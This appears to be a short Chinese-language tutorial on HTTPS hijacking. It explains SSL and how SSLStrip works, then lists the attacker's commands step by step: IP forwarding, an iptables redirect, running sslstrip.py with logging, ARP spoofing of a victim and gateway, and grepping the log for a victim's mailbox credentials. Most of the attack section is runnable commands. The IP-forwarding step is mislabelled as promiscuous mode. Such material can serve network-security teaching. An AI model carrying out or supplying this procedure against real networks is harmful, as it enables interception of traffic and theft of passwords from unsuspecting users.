HTTPS劫持
SSL理解
SSL是Secure Socket Layer的简称, 中文意思是安全套接字层,由 NetScape公司所开发,用以保障在Internet上数据传输的安全,确保数据在网络的传输过程中不会被截取和窃听。
SSL协议提供的服务
- 认证用户和服务器,确保数据发送到正确的客户和服务器。
- 加密数据以防止数据中途被窃取。
- 维护数据的完整性,确保数据在传输过程中不被改变。
SSLStrip工作原理
- 先进行中间人攻击来拦截HTTP流量。
- 将出现的 HTTPS 链接全部替换为 HTTP,同时记下所有改变的链接。
- 使用HTTP与受害者机器连接。
- 同时与合法的服务器建立 HTTPS。
- 受害者与合法服务器之间的全部通信经过了代理转发。
- 其中,出现的图标被替换成为用户熟悉的“小黄锁”图标,以建立信任。
- 这样,中间人攻击就成功骗取了密码、账号等信息,而受害者一无所知。
利用SSLStrip劫持https流量
- 攻击者启动网卡混杂模式:echo "1" > /proc/sys/net/ipv4/ip_forward
- 攻击者添加防火墙规则:iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 9527
- 攻击者开启SSLStrip:python sslstrip.py -a -l 9527 -w sslstrip.log
-a:记录所有来自服务器的ssl和Http数据流量内容
-l:监听端口
-w:保存文件
- 攻击者开启arp欺骗:arpspoof -i eth0 -t ip(受害机) ip(网关)
- 受害者登陆126邮箱
- 攻击者在攻击机上查看日志:cat sslstrip.log | grep "邮箱名"